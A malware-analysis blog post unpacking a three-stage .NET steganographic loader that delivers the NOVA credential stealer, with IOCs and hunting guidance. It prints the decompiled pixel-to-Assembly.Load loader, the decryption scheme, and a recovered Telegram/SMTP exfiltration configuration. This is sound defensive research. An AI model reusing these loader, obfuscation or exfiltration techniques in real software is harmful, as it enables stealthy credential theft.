> ## Content Index
> Fetch the complete content index at: https://f4n6.co.uk/llms.txt
> Use this file to discover other available public pages before exploring further.

# Pixel-Stealing Malware: Unpacking a Three-Stage .NET Loader With Memory-Only Payload Stages
- URL: https://f4n6.co.uk/pixel-stealing-malware-unpacking-a-three-stage-net-loader-with-memory-only-payload-stages/
- Published: 2026-09-11T13:48:15.000Z
- Updated: 2026-09-11T13:57:05.000Z
- Author: Jeff Davies
- Tags: infostealer, SnakeLogger, win.nova, nova, AI Security, malbox, mcp

> *The "mass" sample arrived as an AES-encrypted ZIP. What it turned out to be: a decoy Romanian engineering app, a fake Chinese security suite, a forged "Microsoft PC Manager" — and a Telegram-exfiltration credential stealer at the end of the chain.*

---

## TL;DR

- A fresh, generator-built malware sample whose recorded PE timestamps fall within days of one another reaches a victim through a benign-looking **.NET GUI application**.
- Stage 1 hides stage 2 **inside the RGB values of an embedded bitmap**; stage 2 hides stage 3 inside a **709 KB PNG resource**, after a crop, a pixel re-ordering, and a rolling XOR keyed on two hex args from the previous stage.
- The final payload masquerades as **"Microsoft PC Manager"**, is protected with a commercial-style obfuscator (zero-width identifiers, flattened control flow, self-mutating string tables, an embedded LZMA decoder), and is configured to exfiltrate harvested credentials via the **Telegram Bot API** with an **SMTP fallback**.
- The embedded stages were unpacked **statically, without executing a single suspicious byte on the analyst's host**. The chain was then confirmed behaviorally inside an isolated, network-severed Windows VM, including a full-memory dump taken by an attached debugger. Stages 2 and 3 were loaded from memory and were never written to disk by the loader chain.
- The Telegram bot token and chat ID never materialized in plaintext. In the closed-network lab, the payload waited silently instead of taking the action that would decrypt them; the SMTP fallback configuration did become visible in memory.
- High-confidence attribution: NOVA Stealer, a SnakeLogger fork, delivered through a custom three-stage .NET stego-loader.

**Artifacts:** all four artifacts are quarantined with hashes in the table at the end. Indicators are defanged throughout.

---

## The intake

The sample was acquired via MalwareBazaar to test the capabilities of the malware mcp, that is being built

```
Archive:  f840ab67…8dfb.zip
  Length      Name
---------  ----
   910336  f840ab67…8dfb.exe        (entry name = its own SHA-256)

```

Ingested into the lab's quarantine store (read-only, path-addressed by SHA-256) and triaged as a **32-bit .NET WinForms executable**, `CanalAqueduct`.

## Stage 1: the aqueduct that isn't

Decompilation (ilspycmd in the platform's .NET analysis container) produced a strikingly benign picture a complete WinForms MDI application simulating an aqueduct over a canal, labels in Romanian ("Intensitate Vânt (Vale)", "Lansare Barcă"), resource strings for an XSD-validated XML "technical report", and process metadata claiming a Romanian university as the author. If you opened it, you'd get a modest desktop app. **Nothing on the surface was wrong.**

The wrongness was in the constructor. Buried in `InitializeComponent()` of the main form, immediately after the last UI control is configured:

```csharp
Bitmap nJ = Resources.NJ;
Assembly assembly = typeof(Assembly).InvokeMember(
    "Loa" + "d".ToLower(), BindingFlags.InvokeMethod, null, null,
    new object[1] { Enumerable.ToArray(Kv3Runner.Run(nJ, 98304)) }) as Assembly;
Type type = assembly.GetExportedTypes()[0];
string[] array = back1.Replace("*01281**", "\u0001").Split(new char[1] { '\u0001' });
string[] array2 = new string[3] { array[1], array[2], "CanalAqueduct" };
MethodInfo methodInfo = type.GetMethods()[0];
LateBinding.LateCall((object)methodInfo, null, "Invoke",
    new object[2] { 0, array2 }, null, null);

```

Read that slowly, because it's the whole trick:

1. `Kv3Runner.Run(nJ, 98304)` a helper that **walks the pixels of an embedded bitmap in column-major order** (x = index / height, y = index % height) and emits each pixel's \[R,G,B\] as three bytes, capped at 98,304 bytes exactly 96 KB.
2. Those 96 KB are passed straight to `**Assembly.Load**` the name is split to `"Loa" + "d"` so a naive string scan sees nothing.
3. The freshly loaded assembly's first public method gets invoked with arguments derived from another split-string artifact: `*01281**716D7775*01281**636B69*01281**` hex-decoded, those spell `qmwu` and `cki`, plus the parent's own namespace name.

capa concurred before we even reached the code: **T1620 (Reflective Code Loading)** plus "access .NET resource". The PE's entropy profile was high in `.text`, its only import the .NET stub `mscoree!_CorExeMain`, and the imphash matched the universal .NET boilerplate nothing unique at the lightweight-detection layer. The payload exists only as pixels.

### Reconstructing the stego the parsing rabbit hole

Windows applications keep resources in the .NET runtime resource format, and its low-level on-disk structure is sparsely documented, so the extraction went through hand-building a parser: locate the `ManifestResource`, walk the `#BEEFCACE` magic + reader/set type names + resource name tables, and pull record values by type code. The parsing in this case yielded a fully understood structure:

| Resource                      | Reality                                                                     |
| ----------------------------- | --------------------------------------------------------------------------- |
| NJ (132,001 B)                | BinaryFormatter graph for a *raw* 182×181, 32-bpp BMP — the stage-2 carrier |
| h21                           | 48×48 icon (decoy chrome)                                                   |
| pixels → kali\-style scan → … | —                                                                           |

But the real work was the "wait, that's not right" moments. The first naive dump produced a 10 MB `MemoryStream`\-wrapped JPEG *fragment* a red herring that turned out to be two `System.Drawing` wrappers sitting inside the same resource blob. The definitive anchor: **an uncompressed BMP header at +162 bytes, matching the loader's math to the pixel** (182 × 181 × 4 bytes/pixel = 131,768 B ≈ the record's declared size). Uncompressed pixel data meant no decoder-fidelity risk: PIL-equivalents aside, reading the raw scanlines is deterministic.

Since stage 1's loader reads column-major with `x` advancing by height, the recovered byte stream is a 96 KB PE with `MZ` at offset 0\. dnfile parsed the recovered image immediately: **stage 2 confirmed.**

## Stage 2: fake security suite, real keys

Stage 2 is where the sample stops being decorative. It fronted as a Chinese system-utility suite (assembly company string for a well-known antivirus vendor, versioned like a real product). Layered obfuscation everywhere: method symbols lifted from real .NET type names (`Justy`, `Mist`, `CausalitySource`, `LowestBreakIteration`…), identifiers in obscure Unicode planes, self-mutating character arrays that in-place decode constants at runtime, `SuppressIldasm`, and switch-based control-flow flattening on nearly every function.

Following `Justy(string, string, string)` — the arguments stage 1 passed (`qmwu`, `cki`, `CanalAqueduct`) leads to a `ResourceResolve` hook and a fresh `ResourceManager` that fetches the carrier by name; the bait name `"CanalAqueduct"` is passed as the **resource manager's base name** so the hidden resolution stays inside the loader's own namespace.

Stage 2 then applies its own three-layer wrap on the resource:

1. **Crop** `RestoreOriginalBitmap` trims the PNG from 606×654 to **429×429** by carving precisely 177 pixels of width and 225 of height that the builder padded onto the margins. (The exact padding numbers 177/225 are baked into stage 2 a nice generator-feeling constant.)
2. **Harvest** 4 bytes/pixel (`Color.ToArgb`), column-major, x-outer.
3. **Decrypt** `Mist(data, key)`: `out[i] = data[i] ^ (data[^1] ^ 0x70) ^ key[i % n]`, with the key string (`"cki"`) expanded by an `Encoding` chosen through an obfuscated selector. Because the reset check runs against `key.Length` (3) while the key bytes may be 6 long, only the first three bytes get cycled.

The `data[^1] ^ 0x70` self-keyed state byte is worth pausing on: the decryption seed is drawn **from the ciphertext's own final byte**. That's cheap to implement in the builder and annoying to pin down statically, because the "key" is really (cyclic string key) ⊕ (unknown ciphertext byte) and your first 200 brute-force variants do not include "the whole payload is right-aligned inside a bitmap we must crop first".

### The known-plaintext shortcut

Rather than iterating over obfuscator semantics one wrapper at a time, the turning point was a linear-time structural probe: **compiler-produced .NET PEs commonly begin with a recognizable DOS-header sequence** here, `4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00`. XOR the candidate pixel stream with that expected header, and if your configuration is right the result is a *repeating key group*; if it's wrong, you get noise.

That single probe (span \~200 candidate configurations: channel layouts × scan orders × lengths × key encodings) collapsed the entire search space:

- correct channel order: **\[B,G,R,A\]** (LE encoding of `Color.ToArgb`)
- correct scan: **column-major, x-outer**
- correct offset: **skip exactly 4 bytes** (the pixel-0 length header)
- recovered key mod-3 group: `**81 e2 81**` → key triple `[0x00, 0x63, 0x00]` (first three bytes of UTF-16BE `"cki"`), state byte **0x81**

Known-plaintext key recovery against *your own format knowledge* turned a one-evening guessing game into a one-line verification loop. It's also a candidate YARA-shaped behavioral tell for any future Kelvin-protocol analysis: pixel-buffer streams whose structure matches "PE DOS header XORed with a period-3 group".

The result: a 731,137-byte .NET assembly declared payload length conveniently present in pixel 0 that locks straight into `Assembly.Load`. **Stage 3.**

## Stage 3: NOVA Stealer Masquerading as “Microsoft PC Manager”

The final payload's manifest claims `AssemblyCompany "Microsoft Corporation"`, `AssemblyProduct "PC Manager"`, `AssemblyFileVersion 2025.5.0.18472` i.e., it pretends to be Microsoft's real PC-cleaning utility. Under the hood it's an entirely different organism:

- Invisible-Unicode identifiers and a module-flag cache (`<Module>{2bd6de72-…}.m_…`) classic commercial-grade packing
- A **range-coded LZMA decoder** embedded in the module (the payload boots its own decompressor before doing anything else)
- **AES-256-CBC** with a full 32-byte key and 16-byte IV hardcoded into the decryptor routine (a separate decryption workstream; its exact inputs didn't unlock the resource blobs we tried statically)
- Mersenne-twister PRNG, MD5 hashing of Unicode strings to derive crypto keys, runtime `Assembly.Load` chains, `Reflection.Emit`, unmanaged memory, and a mutex for singletons
- Namespaces like `PCManager.Networking`, `PCManager.Proxies`, `PCManager.Roles`, `PCManager.Tokens` a client/victim model complete at the binary level even before we see the protocol

The chain was verified live: stage 1's loader calls into stage 2, which loads stage 3 into the same process. **Stages 2 and 3 are never written to disk by the loader chain.** Stage 2 invokes stage 3's entry via `GetExportedTypes()[20].GetMethods()[29]` metadata-index approximated by ordinal comparison and the whole thing idles silently, waiting for its configured network behavior.

### The config, read straight out of memory

Reliable plaintext configuration often does not exist on disk in a packed binary; the strings are materialized by the obfuscator at first use. Rather than mimic the string decryptor line by line, the cleaner approach matched the platform's dynamic angle: **run the chain inside the VM's debugger, then dump the process's full memory and sweep it**.

That sweep revealed a large runtime-resolved configuration corpus directly:

```
(html template)              <html><head><title>Current IP Check</title>...
IP check                     http://checkip[.]dyndns[.]org/
GeoIP                        https://reallyfreegeoip[.]org/xml/   + "CountryName"
Telegram exfil base          https://api[.]telegram[.]org/bot
Telegram exfil verb          /sendDocument?chat_id= … &caption= … application/x-ms-dos-executable
SMTP fallback                mail[.]freetrend[.]cc
SMTP account                 nova_log@freetrend[.]cc
SMTP password                [REDACTED — retained in restricted case notes; never tested]
Structured report copy-to    pcompany157@gmail[.]com
Family marker                \NOVA     (account itself: "nova_log@"; exfil dir label)
Flags                        FTPEnabled=True, TGEnabled=True, SCREENSHOT, STOR
Exfil filenames              UserData.txt, {0}P.txt sections: " / Passwords /", "text/plain"
Fingerprint template         "=========PC INFO=========", IP:, Country:, HWID, UniqueID, DigitalProductID

```

...plus the full credential-store hit list, straight out of stealer-genre inventory:

- **Outlook** registry account extraction (the classic `9375CFF0413111d3B88A00104B2A6676` profile keys twice, for Office 15 paths and Windows Messaging Subsystem)
- HTML/Web/IMAP/POP3/SMTP password labels
- **Firefox** `logins.json`, **Thunderbird**, **SeaMonkey**, **Foxmail**\-family strings
- **FileZilla** (both server software and client's `recentservers`)
- Long-tail Chromium forks: Sleipnir5, Citrio, MapleStudio ChromePlus, CoolNova, Kinza, Sputnik, Falkon, BlackHawk, 7Star

The **Telegram bot token and chat ID never decrypted**, even with a 600-second run because *the first send attempt never happened inside a network-severed sandbox*. They sit in the obfuscator's encrypted resource and only materialize on a deciding action. The behavioral summary confirms the payload's network posturing: alive for the full run, **zero children, zero sockets visible at 5-second sampling cadence, no observed persistence writes (no Run keys or scheduled tasks), and the only "dropped" artifacts were Windows Error Reporting records generated by the sandbox's own services** (svchost failing a Store Agent scan, exactly as one expects inside a host-only, no-outbound lab).

### Independent infrastructure corroboration

Live WHOIS, DNS, HTTPS, and SMTP-TLS checks on 2026-09-11 added an external timeline to the configuration recovered from memory:

- `freetrend[.]cc` was registered on **2026-07-21**, then updated on **2026-09-05**, through Spaceship, Inc. ([WHOIS record](https://www.whois.com/whois/freetrend.cc?ref=f4n6.co.uk)).
- The apex and `mail` host resolved to `93[.]177[.]101[.]229`; the address belongs to **AS209604 / 2E Telekomunikasyon LTD STI** in Türkiye ([network record](https://ipregistry.co/AS209604/93.177.101.0/24?ref=f4n6.co.uk)).
- The public website returned only a generic, `noindex,nofollow` "waiting for content" placeholder.
- A Let's Encrypt web certificate for `freetrend[.]cc` became valid at **2026-09-05 07:35:40 UTC**. The SMTP service's generic, self-signed certificate (`O=CompanyName`, `CN=etc`) became valid **52 seconds later**, at **07:36:32 UTC**.
- The domain authorized that same IP in SPF but used a neutral `?all` fallback; DMARC requested quarantine.

This sequence **domain registration → mail deployment → stage-2 timestamp → stage-1/stage-3 timestamps** is consistent with infrastructure being prepared before the final sample was generated. It does not prove who controlled the domain, nor does it fully exclude a compromised server. No attempt was made to authenticate to the mailbox or test the recovered credential.

## The platform story: why this analysis took hours, not weeks

Worth stating explicitly, because the pattern generalizes: the entire investigation ran on an **orchestrationable malware workbench** exposed as an MCP server, with three properties doing the heavy lifting.

1. **Never on the host.** The sample went from disk → quarantine store (read-only, content-addressed) → isolated guest for execution. Every "run" was a snapshot-reverted, network-restricted VMware guest with an in-guest agent that launches the sample, watches it, and ships back a behavior report, dropped-file set, and screenshot. Host-side tooling imports and parses the artifacts, always.
2. **The pipeline is data, not scripts.** Every stage of the chain .NET decompilation, resource extraction, capa runs ran as a job against a content-addressed sample. Results are deterministic and re-runnable; the analyst's terminal never touches a suspicious byte.
3. **A debugger that fits the target.** The chain ended with an x86/WOW64 process, and the first attempt with a 64-bit debugger produced a 10.8 MB "header-only" dump (a classic WOW64 tooling pitfall that can be mistaken for anti-debug it isn't; re-touching with the **32-bit `cdb`** produced a 176 MB full-memory dump containing the large runtime-resolved string corpus). The debugger attaches through an in-guest bridge over the host-only network, so dump/`break`/memory-read commands are all callable from the orchestration layer with no mouse ever involved.

For transparency: the first \~200 brute-force configurations of the stage-3 unwrap tried before the known-plaintext probe also ran as throwaway host-side scripts that loop (confidence-driven variant exploration) is exactly the kind of repetitive, bounded task that the platform's API + a generic agent handle well.

## What to hunt for

- **Assembly-style masquerading**: "Microsoft PC Manager", Kingsoft PC Manager, or any "utility suite" EXE delivered via **password-protected ZIP** with AES. The password being `infected` (malware-zoo convention) is itself a soft tell.
- **A .NET EXE whose only import is `mscoree!_CorExeMain`** but which also carries high-entropy `.text` and unusually large `System.Drawing` references it never uses for display.
- **Reflective `Assembly.Load` fed by a `Bitmap` pixel harvest** (T1620 + resource access in capa terms), split-method reflection (`"Loa" + "d"`), and self-mutating character arrays.
- The exact convict chain here: a WinForms app whose form constructor, **before the window is even shown**, harvests an embedded bitmap's pixels.
- **Defanged IOCs** for network detections (code-safe hosts; use with your own DNS policy):
  - `mail[.]freetrend[.]cc` (SMTP)
  - `93[.]177[.]101[.]229` (web and SMTP host at analysis time)
  - `nova_log@freetrend[.]cc`, `pcompany157@gmail[.]com`
  - `reallyfreegeoip[.]org/xml/`, `checkip[.]dyndns[.]org`
  - Telegram Bot API pattern: `api[.]telegram[.]org/bot` \+ `sendDocument?chat_id=`
- **Sample hashes** (SHA-256, defang-free for scanners):
  - `803e268c3fa6937ff8ef6f60391f89a3b3ad0230d83b8f7feae12ebec618515b` (AES zip)
  - `f840ab670cff8c5a85b52a8133ad961aa8863abca0bcb1f12de1012e48d38dfb` (stage 1)
  - `60bdee938635f42ec81f396de80e99f7bbbe69d6af4d60c265adaab3d1c90ced` (stage 2)
  - `db396795ce6b8dd39af506da2f5600248e9fcb18807aac400918544444e5a906` (stage 3)

## Closing thoughts

Three masquerades, one payload. The Romanian student project, the Chinese security suite, and the Microsoft-branded cleanup utility are all skins for the same chain. The recorded stage-3 and stage-1 PE timestamps are nine seconds apart, with stage 2 dated two days earlier. PE timestamps can be manipulated, so this is corroborative rather than definitive; if trustworthy, the sequence is consistent with a staged generator pipeline re-piped through the packer before shipping.

That generator efficiency is today's adversary: template code, pixel-carrier steganography, and per-stage decoys, at near-zero marginal cost.

For defenders the asymmetry is favorable: the chain still ends in a **known public API** (Telegram bots) and an **SMTP fallback** because exfiltration over commodity services means the traffic ultimately has to look like normal HTTPS to someone's mail host or Telegram. Watch your network edge for `bot`\-token-shaped traffic from non-browser processes, and treat utility-suite EXEs from password-protected archives as the default-bad they tend to be.

*Analysis performed 2026-09-10/11; staged binaries retained in quarantine. No systems touched beyond the isolated analysis VM; no live C2 contacted at any point during this work.*

Working on a difficult security investigation or building similar tooling? I’d be interested to hear from you.

**AI Platform Investigation** Email hello@f4n6.co.uk